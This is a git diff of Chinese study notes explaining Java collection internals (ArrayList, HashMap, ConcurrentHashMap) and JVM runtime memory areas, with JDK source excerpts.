添加元素时使用 ensureCapacity() 方法来保证容量足够,如果不够时,需要使用 grow() 方法进行扩容,使得新容量为旧容量的 1.5 倍(oldCapacity + (oldCapacity >> 1))。扩容操作需要把原数组整个复制到新数组中,因此最好在创建 ArrayList 对象时就指定大概的容量大小,减少扩容操作的次数。
|
||||
|
||||
```java
|
||||
private void ensureCapacityInternal(int minCapacity) {
|
||||
private void ensureExplicitCapacity(int minCapacity) {
|
||||
modCount++;
|
||||
|
||||
// overflow-conscious code
|
||||
if (minCapacity - elementData.length > 0)
|
||||
grow(minCapacity);
|
||||
@ -174,34 +174,28 @@ private void grow(int minCapacity) {
|
||||
// minCapacity is usually close to size, so this is a win:
|
||||
elementData = Arrays.copyOf(elementData, newCapacity);
|
||||
}
|
||||
|
||||
private static int hugeCapacity(int minCapacity) {
|
||||
if (minCapacity < 0) // overflow
|
||||
throw new OutOfMemoryError();
|
||||
return (minCapacity > MAX_ARRAY_SIZE) ?
|
||||
Integer.MAX_VALUE :
|
||||
MAX_ARRAY_SIZE;
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Fail-Fast
|
||||
|
||||
modCount 用来记录 ArrayList 结构发生变化的次数,结构发生变化是指添加或者删除至少一个元素的所有操作,或者是调整内部数组的大小,仅仅只是设置元素的值不算结构发生变化。
|
||||
modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作,或者是调整内部数组的大小,仅仅只是设置元素的值不算结构发生变化。
|
||||
|
||||
在进行序列化或者迭代等操作时,需要比较操作前后 modCount 是否改变,如果改变了需要抛出 ConcurrentModificationException。
|
||||
|
||||
```java
|
||||
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
|
||||
private void writeObject(java.io.ObjectOutputStream s)
|
||||
throws java.io.IOException{
|
||||
// Write out element count, and any hidden stuff
|
||||
int expectedModCount = modCount;
|
||||
s.defaultWriteObject();
|
||||
|
||||
// Write out array length
|
||||
s.writeInt(elementData.length);
|
||||
// Write out size as capacity for behavioural compatibility with clone()
|
||||
s.writeInt(size);
|
||||
|
||||
// Write out all elements in the proper order.
|
||||
for (int i = 0; i < size; i++)
|
||||
for (int i=0; i<size; i++) {
|
||||
s.writeObject(elementData[i]);
|
||||
}
|
||||
|
||||
if (modCount != expectedModCount) {
|
||||
throw new ConcurrentModificationException();
|
||||
@ -211,18 +205,18 @@ private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOExceptio
|
||||
|
||||
### 3. 和 Vector 的区别
|
||||
|
||||
1. Vector 和 ArrayList 几乎是完全相同的,唯一的区别在于 Vector 是同步的,因此开销就比 ArrayList 要大,访问速度更慢。最好使用 ArrayList 而不是 Vector,因为同步操作完全可以由程序员自己来控制;
|
||||
2. Vector 每次扩容请求其大小的 2 倍空间,而 ArrayList 是 1.5 倍。
|
||||
- Vector 和 ArrayList 几乎是完全相同的,唯一的区别在于 Vector 是同步的,因此开销就比 ArrayList 要大,访问速度更慢。最好使用 ArrayList 而不是 Vector,因为同步操作完全可以由程序员自己来控制;
|
||||
- Vector 每次扩容请求其大小的 2 倍空间,而 ArrayList 是 1.5 倍。
|
||||
|
||||
为了获得线程安全的 ArrayList,可以调用 Collections.synchronizedList(new ArrayList<>()); 返回一个线程安全的 ArrayList,也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类;
|
||||
|
||||
### 4. 和 LinkedList 的区别
|
||||
|
||||
1. ArrayList 基于动态数组实现,LinkedList 基于双向循环链表实现;
|
||||
2. ArrayList 支持随机访问,LinkedList 不支持;
|
||||
3. LinkedList 在任意位置添加删除元素更快。
|
||||
- ArrayList 基于动态数组实现,LinkedList 基于双向循环链表实现;
|
||||
- ArrayList 支持随机访问,LinkedList 不支持;
|
||||
- LinkedList 在任意位置添加删除元素更快。
|
||||
|
||||
## Vector 与 Stack
|
||||
## Vector
|
||||
|
||||
[Vector.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/Vector.java)
|
||||
|
||||
@ -238,7 +232,7 @@ private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOExceptio
|
||||
|
||||
[HashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
|
||||
|
||||
### 1. 基本数据结构
|
||||
### 1. 存储结构
|
||||
|
||||
使用拉链法来解决冲突,内部包含了一个 Entry 类型的数组 table,数组中的每个位置被当成一个桶。
|
||||
|
||||
@ -248,29 +242,93 @@ transient Entry[] table;
|
||||
|
||||
其中,Entry 就是存储数据的键值对,它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表。
|
||||
|
||||
<div align="center"> <img src="../pics//ce039f03-6588-4f0c-b35b-a494de0eac47.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
|
||||
|
||||
JDK 1.8 使用 Node 类型存储一个键值对,它依然继承自 Entry,因此可以按照上面的存储结构来理解。
|
||||
|
||||
```java
|
||||
static class Node<K,V> implements Map.Entry<K,V> {
|
||||
final int hash;
|
||||
final K key;
|
||||
V value;
|
||||
Node<K,V> next;
|
||||
|
||||
Node(int hash, K key, V value, Node<K,V> next) {
|
||||
this.hash = hash;
|
||||
this.key = key;
|
||||
this.value = value;
|
||||
this.next = next;
|
||||
}
|
||||
|
||||
public final K getKey() { return key; }
|
||||
public final V getValue() { return value; }
|
||||
public final String toString() { return key + "=" + value; }
|
||||
|
||||
public final int hashCode() {
|
||||
return Objects.hashCode(key) ^ Objects.hashCode(value);
|
||||
}
|
||||
|
||||
public final V setValue(V newValue) {
|
||||
V oldValue = value;
|
||||
value = newValue;
|
||||
return oldValue;
|
||||
}
|
||||
|
||||
public final boolean equals(Object o) {
|
||||
if (o == this)
|
||||
return true;
|
||||
if (o instanceof Map.Entry) {
|
||||
Map.Entry<?,?> e = (Map.Entry<?,?>)o;
|
||||
if (Objects.equals(key, e.getKey()) &&
|
||||
Objects.equals(value, e.getValue()))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 拉链法的工作原理
|
||||
|
||||
使用默认构造函数新建一个 HashMap,默认大小为 16。Entry 的类型为 <String, Integer>。先后插入三个元素:("sachin", 30), ("vishal", 20) 和 ("vaibhav", 20)。计算 "sachin" 的 hashcode 为 115,使用除留余数法得到 115 % 16 = 3,因此 ("sachin", 30) 键值对放到第 3 个桶上。同样得到 ("vishal", 20) 和 ("vaibhav", 20) 都应该放到第 6 个桶上,因此需要把 ("vaibhav", 20) 链接到 ("vishal", 20) 之后。
|
||||
```java
|
||||
HashMap<String, String> map = new HashMap<>();
|
||||
map.put("K1", "V1");
|
||||
map.put("K2", "V2");
|
||||
map.put("K3", "V3");
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//b9a39d2a-618c-468b-86db-2e851f1a0057.jpg"/> </div><br>
|
||||
- 新建一个 HashMap,默认大小为 16;
|
||||
- 插入 <K1,V1> 键值对,先计算 K1 的 hashCode 为 115,使用除留余数法得到所在的桶下标 115%16=3。
|
||||
- 插入 <K2,V2> 键值对,先计算 K2 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6。
|
||||
- 插入 <K3,V3> 键值对,先计算 K3 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6,插在 <K2,V2> 后面。
|
||||
|
||||
当进行查找时,需要分成两步进行,第一步是先根据 hashcode 计算出所在的桶,第二步是在链表上顺序查找。由于 table 是数组形式的,具有随机读取的特性,因此这一步的时间复杂度为 O(1),而第二步需要在链表上顺序查找,时间复杂度显然和链表的长度成正比。
|
||||
<div align="center"> <img src="../pics//07903a31-0fb3-45fc-86f5-26f0b28fa4e7.png" width="600"/> </div><br>
|
||||
|
||||
### 3. 扩容
|
||||
查找需要分成两步进行:
|
||||
|
||||
- 计算键值对所在的桶;
|
||||
- 在链表上顺序查找,时间复杂度显然和链表的长度成正比。
|
||||
|
||||
### 3. 链表转红黑树
|
||||
|
||||
应该注意到,从 JDK 1.8 开始,一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
|
||||
|
||||
### 4. 扩容
|
||||
|
||||
因为从 JDK 1.8 开始引入了红黑树,因此扩容操作较为复杂,为了便于理解,以下内容使用 JDK 1.7 的内容。
|
||||
|
||||
设 HashMap 的 table 长度为 M,需要存储的键值对数量为 N,如果哈希函数满足均匀性的要求,那么每条链表的长度大约为 N/M,因此平均查找次数的数量级为 O(N/M)。
|
||||
|
||||
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,可就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
|
||||
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
|
||||
|
||||
和扩容相关的参数主要有:capacity、size、threshold 和 load_factor。
|
||||
|
||||
capacity 表示 table 的容量大小,默认为 16,需要注意的是容量必须保证为 2 的次方。容量就是 table 数组的长度,size 是数组的实际使用量。
|
||||
|
||||
threshold 规定了一个 size 的临界值,size 必须小于 threshold,如果大于等于,就必须进行扩容操作。
|
||||
|
||||
threshold = capacity * load_factor,其中 load_factor 为 table 数组能够使用的比例。
|
||||
| 参数 | 含义 |
|
||||
| :--: | :-- |
|
||||
| capacity | table 的容量大小,默认为 16,需要注意的是 capacity 必须保证为 2 的次方。|
|
||||
| size | table 的实际使用量。 |
|
||||
| threshold | size 的临界值,size 必须小于 threshold,如果大于等于,就必须进行扩容操作。 |
|
||||
| load_factor | table 能够使用的比例,threshold = capacity * load_factor。|
|
||||
|
||||
```java
|
||||
static final int DEFAULT_INITIAL_CAPACITY = 16;
|
||||
@ -301,7 +359,7 @@ void addEntry(int hash, K key, V value, int bucketIndex) {
|
||||
}
|
||||
```
|
||||
|
||||
扩容使用 resize() 实现,需要注意的是,扩容操作同样需要把旧 table 的所有键值对重新插入新的 table 中,因此这一步是很费时的。但是从均摊分析的角度来考虑,HashMap 的查找速度依然在常数级别。
|
||||
扩容使用 resize() 实现,需要注意的是,扩容操作同样需要把旧 table 的所有键值对重新插入新的 table 中,因此这一步是很费时的。
|
||||
|
||||
```java
|
||||
void resize(int newCapacity) {
|
||||
@ -337,84 +395,321 @@ void transfer(Entry[] newTable) {
|
||||
}
|
||||
```
|
||||
|
||||
### 4. null 值
|
||||
### 5. 确定桶下标
|
||||
|
||||
get() 操作需要分成两种情况,key 为 null 和不为 null,从中可以看出 HashMap 允许插入 null 作为键。
|
||||
很多操作都需要先确定一个键值对所在的桶下标,需要分三步进行。
|
||||
|
||||
(一)hashCode()
|
||||
|
||||
调用 Key 的 hashCode() 方法得到 hashCode。
|
||||
|
||||
```java
|
||||
public V get(Object key) {
|
||||
if (key == null)
|
||||
return getForNullKey();
|
||||
int hash = hash(key.hashCode());
|
||||
for (Entry<K,V> e = table[indexFor(hash, table.length)]; e != null; e = e.next) {
|
||||
Object k;
|
||||
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
|
||||
return e.value;
|
||||
}
|
||||
return null;
|
||||
public final int hashCode() {
|
||||
return Objects.hashCode(key) ^ Objects.hashCode(value);
|
||||
}
|
||||
```
|
||||
|
||||
put() 操作也需要根据 key 是否为 null 做不同的处理,需要注意的是如果本来没有 key 为 null 的键值对,新插入一个 key 为 null 的键值对时默认是放在数组的 0 位置,这是因为 null 不能计算 hash 值,也就无法知道应该放在哪个链表上。
|
||||
(二)高位运算
|
||||
|
||||
将 hashCode 的高 16 位和低 16 位进行异或操作,使得在数组比较小时,也能保证高低位都参与到了哈希计算中。
|
||||
|
||||
```java
|
||||
public V put(K key, V value) {
|
||||
if (key == null)
|
||||
return putForNullKey(value);
|
||||
int hash = hash(key.hashCode());
|
||||
int i = indexFor(hash, table.length);
|
||||
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
|
||||
Object k;
|
||||
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
|
||||
V oldValue = e.value;
|
||||
e.value = value;
|
||||
e.recordAccess(this);
|
||||
return oldValue;
|
||||
}
|
||||
}
|
||||
|
||||
modCount++;
|
||||
addEntry(hash, key, value, i);
|
||||
return null;
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
|
||||
(三)除留余数法
|
||||
|
||||
令 x = 1<<4,即 x 为 2 的 4 次方,它具有以下性质:
|
||||
|
||||
```
|
||||
x : 00010000
|
||||
x-1 : 00001111
|
||||
```
|
||||
|
||||
令一个数 y 与 x-1 做与运算,可以去除 y 位级表示的第 4 位及以上数:
|
||||
|
||||
```
|
||||
y : 10110010
|
||||
x-1 : 00001111
|
||||
y&(x-1) : 00000010
|
||||
```
|
||||
|
||||
这个性质和 y 对 x 取模效果是一样的:
|
||||
|
||||
```
|
||||
x : 00010000
|
||||
y : 10110010
|
||||
y%x : 00000010
|
||||
```
|
||||
|
||||
我们知道,位运算的代价比求模运算小的多,因此在进行这种计算时能用位运算的话能带来更高的性能。
|
||||
|
||||
拉链法需要使用除留余数法来得到桶下标,也就是需要进行以下计算:hash%capacity,如果能保证 capacity 为 2 的幂次方,那么就可以将这个操作转换位位运算。
|
||||
|
||||
以下操作在 Java 8 中没有,但是原理上相同。
|
||||
|
||||
```java
|
||||
private V putForNullKey(V value) {
|
||||
for (Entry<K,V> e = table[0]; e != null; e = e.next) {
|
||||
if (e.key == null) {
|
||||
V oldValue = e.value;
|
||||
e.value = value;
|
||||
e.recordAccess(this);
|
||||
return oldValue;
|
||||
}
|
||||
}
|
||||
modCount++;
|
||||
addEntry(0, null, value, 0);
|
||||
return null;
|
||||
static int indexFor(int h, int length) {
|
||||
return h & (length-1);
|
||||
}
|
||||
```
|
||||
|
||||
### 5. 与 HashTable 的区别
|
||||
### 6. 扩容-重新计算桶下标
|
||||
|
||||
- HashMap 几乎可以等价于 Hashtable,除了 HashMap 是非 synchronized 的,并可以接受 null(HashMap 可以接受为 null 的键值 (key) 和值 (value),而 Hashtable 则不行)。
|
||||
- HashMap 是非 synchronized,而 Hashtable 是 synchronized,这意味着 Hashtable 是线程安全的,多个线程可以共享一个 Hashtable;而如果没有正确的同步的话,多个线程是不能共享 HashMap 的。Java 5 提供了 ConcurrentHashMap,它是 HashTable 的替代,比 HashTable 的扩展性更好。
|
||||
- 另一个区别是 HashMap 的迭代器 (Iterator) 是 fail-fast 迭代器,而 Hashtable 的 enumerator 迭代器不是 fail-fast 的。所以当有其它线程改变了 HashMap 的结构(增加或者移除元素),将会抛出 ConcurrentModificationException,但迭代器本身的 remove() 方法移除元素则不会抛出 ConcurrentModificationException 异常。但这并不是一个一定发生的行为,要看 JVM。这条同样也是 Enumeration 和 Iterator 的区别。
|
||||
- 由于 Hashtable 是线程安全的也是 synchronized,所以在单线程环境下它比 HashMap 要慢。如果你不需要同步,只需要单一线程,那么使用 HashMap 性能要好过 Hashtable。
|
||||
在进行扩容时,需要把 Node 重新放到对应的桶上。HashMap 使用了一个特殊的机制,可以降低重新计算桶下标的操作。
|
||||
|
||||
假设原数组长度 capacity 为 8,扩容之后 new capacity 为 16:
|
||||
|
||||
```html
|
||||
capacity : 00010000
|
||||
new capacity : 00100000
|
||||
```
|
||||
|
||||
对于一个 Key,它的 hashCode 如果在第 6 位上为 0,那么除留余数得到的结果和之前一样;如果为 1,那么得到的结果为原来的结果 + 8。
|
||||
|
||||
### 7. 扩容-计算数组容量
|
||||
|
||||
先考虑如何求一个数的补码,对于 10010000,它的掩码为 11111111,可以使用以下方法得到:
|
||||
|
||||
```
|
||||
mask |= mask >> 1 11011000
|
||||
mask |= mask >> 2 11111100
|
||||
mask |= mask >> 4 11111111
|
||||
```
|
||||
|
||||
如果最后令 mask+1,得到就是大于原始数字的最小的 2 次方。
|
||||
|
||||
以下是 HashMap 中计算一个大小所需要的数组容量的代码:
|
||||
|
||||
```java
|
||||
static final int tableSizeFor(int cap) {
|
||||
int n = cap - 1;
|
||||
n |= n >>> 1;
|
||||
n |= n >>> 2;
|
||||
n |= n >>> 4;
|
||||
n |= n >>> 8;
|
||||
n |= n >>> 16;
|
||||
return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
|
||||
}
|
||||
```
|
||||
|
||||
### 7. null 值
|
||||
|
||||
HashMap 允许有一个 Node 的 Key 为 null,该 Node 一定会放在第 0 个桶的位置,因为这个 Key 无法计算 hashCode(),因此只能规定一个桶让它存放。
|
||||
|
||||
### 8. 与 HashTable 的区别
|
||||
|
||||
- HashTable 是同步的,它使用了 synchronized 来进行同步。它也是线程安全的,多个线程可以共享同一个 HashTable。HashMap 不是同步的,但是可以使用 ConcurrentHashMap,它是 HashTable 的替代,而且比 HashTable 可扩展性更好。
|
||||
- HashMap 可以插入键为 null 的 Entry。
|
||||
- HashMap 的迭代器是 fail-fast 迭代器,而 Hashtable 的 enumerator 迭代器不是 fail-fast 的。
|
||||
- 由于 Hashtable 是线程安全的也是 synchronized,所以在单线程环境下它比 HashMap 要慢。
|
||||
- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
|
||||
|
||||
> [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
|
||||
|
||||
## LinkedHashMap
|
||||
|
||||
[LinkedHashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
|
||||
|
||||
## ConcurrentHashMap
|
||||
## ConcurrentHashMap - JDK 1.7
|
||||
|
||||
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
|
||||
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/1.7/ConcurrentHashMap.java)
|
||||
|
||||
[探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
|
||||
ConcurrentHashMap 和 HashMap 实现上类似,最主要的差别是 ConcurrentHashMap 采用了了分段锁,每个分段锁维护着几个桶,多个线程可以同时访问不同分段锁上的桶。
|
||||
|
||||
# 五、参考资料
|
||||
相比于 HashTable 和用同步包装器包装的 HashMap(Collections.synchronizedMap(new HashMap())),ConcurrentHashMap 拥有更高的并发性。在 HashTable 和由同步包装器包装的 HashMap 中,使用一个全局的锁来同步不同线程间的并发访问。同一时间点,只能有一个线程持有锁,也就是说在同一时间点,只能有一个线程能访问容器。这虽然保证多线程间的安全并发访问,但同时也导致对容器的访问变成串行化的了。
|
||||
|
||||
### 1. 存储结构
|
||||
|
||||
和 HashMap 类似。
|
||||
|
||||
```java
|
||||
static final class HashEntry<K,V> {
|
||||
final int hash;
|
||||
final K key;
|
||||
volatile V value;
|
||||
volatile HashEntry<K,V> next;
|
||||
}
|
||||
```
|
||||
|
||||
继承自 ReentrantLock,每个 Segment 维护着多个 HashEntry。
|
||||
|
||||
```java
|
||||
static final class Segment<K,V> extends ReentrantLock implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 2249069246763182397L;
|
||||
|
||||
static final int MAX_SCAN_RETRIES =
|
||||
Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1;
|
||||
|
||||
transient volatile HashEntry<K,V>[] table;
|
||||
|
||||
transient int count;
|
||||
|
||||
transient int modCount;
|
||||
|
||||
transient int threshold;
|
||||
|
||||
final float loadFactor;
|
||||
}
|
||||
```
|
||||
|
||||
```java
|
||||
final Segment<K,V>[] segments;
|
||||
```
|
||||
|
||||
默认的并发级别为 16,也就是说默认创建 16 个 Segment。
|
||||
|
||||
```java
|
||||
static final int DEFAULT_CONCURRENCY_LEVEL = 16;
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//image005.jpg"/> </div><br>
|
||||
|
||||
### 2. HashEntery 的不可变性
|
||||
|
||||
HashEntry 中的 key,hash,next 都声明为 final 型。这意味着,不能把节点添加到链接的中间和尾部,也不能在链接的中间和尾部删除节点。这个特性可以保证:在访问某个节点时,这个节点之后的链接不会被改变。这个特性可以大大降低处理链表时的复杂性。
|
||||
|
||||
同时,HashEntry 类的 value 域被声明为 Volatile 型,Java 的内存模型可以保证:某个写线程对 value 域的写入马上可以被后续的某个读线程 “看” 到。在 ConcurrentHashMap 中,不允许用 null 作为键和值,当读线程读到某个 HashEntry 的 value 域的值为 null 时,便知道产生了冲突——发生了重排序现象,需要加锁后重新读入这个 value 值。这些特性互相配合,使得读线程即使在不加锁状态下,也能正确访问 ConcurrentHashMap。
|
||||
|
||||
```java
|
||||
final V remove(Object key, int hash, Object value) {
|
||||
if (!tryLock())
|
||||
scanAndLock(key, hash);
|
||||
V oldValue = null;
|
||||
try {
|
||||
HashEntry<K,V>[] tab = table;
|
||||
int index = (tab.length - 1) & hash;
|
||||
HashEntry<K,V> e = entryAt(tab, index);
|
||||
HashEntry<K,V> pred = null;
|
||||
while (e != null) {
|
||||
K k;
|
||||
HashEntry<K,V> next = e.next;
|
||||
if ((k = e.key) == key ||
|
||||
(e.hash == hash && key.equals(k))) {
|
||||
V v = e.value;
|
||||
if (value == null || value == v || value.equals(v)) {
|
||||
if (pred == null)
|
||||
setEntryAt(tab, index, next);
|
||||
else
|
||||
pred.setNext(next);
|
||||
++modCount;
|
||||
--count;
|
||||
oldValue = v;
|
||||
}
|
||||
break;
|
||||
}
|
||||
pred = e;
|
||||
e = next;
|
||||
}
|
||||
} finally {
|
||||
unlock();
|
||||
}
|
||||
return oldValue;
|
||||
}
|
||||
```
|
||||
|
||||
在以下链表中删除 C 节点,C 节点之后的所有节点都原样保留,C 节点之前的所有节点都被克隆到新的链表中,并且顺序被反转。可以注意到,在执行 remove 操作时,原始链表并没有被修改,也就是说,读线程不会受到执行 remove 操作的并发写线程的干扰。
|
||||
|
||||
<div align="center"> <img src="../pics//image007.jpg"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//image008.jpg"/> </div><br>
|
||||
|
||||
除了 remove 操作,其它操作也类似。可以得出一个结论:写线程对某个链表的结构性修改不会影响其他的并发读线程对这个链表的遍历访问。
|
||||
|
||||
### 3. Volatile 变量
|
||||
|
||||
```java
|
||||
static final class HashEntry<K,V> {
|
||||
final int hash;
|
||||
final K key;
|
||||
volatile V value;
|
||||
volatile HashEntry<K,V> next;
|
||||
}
|
||||
```
|
||||
|
||||
由于内存可见性问题,未正确同步的情况下,写线程写入的值可能并不为后续的读线程可见。
|
||||
|
||||
下面以写线程 M 和读线程 N 来说明 ConcurrentHashMap 如何协调读 / 写线程间的内存可见性问题。
|
||||
|
||||
<div align="center"> <img src="../pics//image009.jpg"/> </div><br>
|
||||
|
||||
假设线程 M 在写入了 volatile 型变量 count 后,线程 N 读取了这个 volatile 型变量 count。
|
||||
|
||||
根据 happens-before 关系法则中的程序次序法则,A appens-before 于 B,C happens-before D。
|
||||
|
||||
根据 Volatile 变量法则,B happens-before C。
|
||||
|
||||
根据传递性,连接上面三个 happens-before 关系得到:A appens-before 于 B; B appens-before C;C happens-before D。也就是说:写线程 M 对链表做的结构性修改,在读线程 N 读取了同一个 volatile 变量后,对线程 N 也是可见的了。
|
||||
|
||||
虽然线程 N 是在未加锁的情况下访问链表。Java 的内存模型可以保证:只要之前对链表做结构性修改操作的写线程 M 在退出写方法前写 volatile 型变量 count,读线程 N 在读取这个 volatile 型变量 count 后,就一定能 “看到” 这些修改。
|
||||
|
||||
ConcurrentHashMap 中,每个 Segment 都有一个变量 count。它用来统计 Segment 中的 HashEntry 的个数。这个变量被声明为 volatile。
|
||||
|
||||
```java
|
||||
transient volatile int count;
|
||||
```
|
||||
|
||||
所有不加锁读方法,在进入读方法时,首先都会去读这个 count 变量。比如下面的 get 方法:
|
||||
|
||||
```java
|
||||
V get(Object key, int hash) {
|
||||
if(count != 0) { // 首先读 count 变量
|
||||
HashEntry<K,V> e = getFirst(hash);
|
||||
while(e != null) {
|
||||
if(e.hash == hash && key.equals(e.key)) {
|
||||
V v = e.value;
|
||||
if(v != null)
|
||||
return v;
|
||||
// 如果读到 value 域为 null,说明发生了重排序,加锁后重新读取
|
||||
return readValueUnderLock(e);
|
||||
}
|
||||
e = e.next;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
```
|
||||
|
||||
在 ConcurrentHashMap 中,所有执行写操作的方法(put, remove, clear),在对链表做结构性修改之后,在退出写方法前都会去写这个 count 变量。所有未加锁的读操作(get, contains, containsKey)在读方法中,都会首先去读取这个 count 变量。
|
||||
|
||||
根据 Java 内存模型,对 同一个 volatile 变量的写 / 读操作可以确保:写线程写入的值,能够被之后未加锁的读线程 “看到”。
|
||||
|
||||
这个特性和前面介绍的 HashEntry 对象的不变性相结合,使得在 ConcurrentHashMap 中,读线程在读取散列表时,基本不需要加锁就能成功获得需要的值。这两个特性相配合,不仅减少了请求同一个锁的频率(读操作一般不需要加锁就能够成功获得值),也减少了持有同一个锁的时间(只有读到 value 域的值为 null 时 ,读线程才需要加锁后重读)。
|
||||
|
||||
### 4. 小结
|
||||
|
||||
ConcurrentHashMap 的高并发性主要来自于三个方面:
|
||||
|
||||
- 用分离锁实现多个线程间的更深层次的共享访问。
|
||||
- 用 HashEntery 对象的不变性来降低执行读操作的线程在遍历链表期间对加锁的需求。
|
||||
- 通过对同一个 Volatile 变量的写 / 读访问,协调不同线程间读 / 写操作的内存可见性。
|
||||
|
||||
## ConcurrentHashMap - JDK 1.8
|
||||
|
||||
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java)
|
||||
|
||||
JDK 1.7 分段锁机制来实现并发更新操作,核心类为 Segment,它继承自重入锁 ReentrantLock。
|
||||
|
||||
JDK 1.8 的实现不是用了 Segment,Segment 属于重入锁 ReentrantLock。而是使用了内置锁 synchronized,主要是出于以下考虑:
|
||||
|
||||
1. synchronized 的锁粒度更低;
|
||||
2. synchronized 优化空间更大;
|
||||
3. 在大量数据操作的情况下,ReentrantLock 会开销更多的内存。
|
||||
|
||||
并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
|
||||
- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
|
||||
- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
|
||||
- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java-hashmap.html)
|
||||
- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
|
||||
- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
|
||||
- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
|
||||
- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
|
||||
- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
|
||||
- [Java 集合细节(二):asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
|
||||
|
||||
- Java 编程思想
|
||||
|
1882
notes/Java 并发.md
@ -1,9 +1,9 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、运行时数据区域](#一运行时数据区域)
|
||||
* [程序计数器](#程序计数器)
|
||||
* [Java 虚拟机栈](#java-虚拟机栈)
|
||||
* [虚拟机栈](#虚拟机栈)
|
||||
* [本地方法栈](#本地方法栈)
|
||||
* [Java 堆](#java-堆)
|
||||
* [堆](#堆)
|
||||
* [方法区](#方法区)
|
||||
* [运行时常量池](#运行时常量池)
|
||||
* [直接内存](#直接内存)
|
||||
@ -27,17 +27,17 @@
|
||||
|
||||
# 一、运行时数据区域
|
||||
|
||||
<div align="center"> <img src="../pics//dc695f48-4189-4fc7-b950-ed25f6c1521708518830.jpg"/> </div><br>
|
||||
|
||||
注:白色区域为线程私有,蓝色区域为线程共享。
|
||||
<div align="center"> <img src="../pics//540631a4-6018-40a5-aed7-081e2eeeaeea.png" width="500"/> </div><br>
|
||||
|
||||
## 程序计数器
|
||||
|
||||
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
|
||||
|
||||
## Java 虚拟机栈
|
||||
## 虚拟机栈
|
||||
|
||||
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、动态链接、方法出口等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
|
||||
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
|
||||
|
||||
<div align="center"> <img src="../pics//f5757d09-88e7-4bbd-8cfb-cecf55604854.png" width=""/> </div><br>
|
||||
|
||||
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小:
|
||||
|
||||
@ -56,11 +56,13 @@ java -Xss=512M HackTheJava
|
||||
|
||||
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
|
||||
|
||||
## Java 堆
|
||||
<div align="center"> <img src="../pics//JNIFigure1.gif" width="350"/> </div><br>
|
||||
|
||||
## 堆
|
||||
|
||||
所有对象实例都在这里分配内存。
|
||||
|
||||
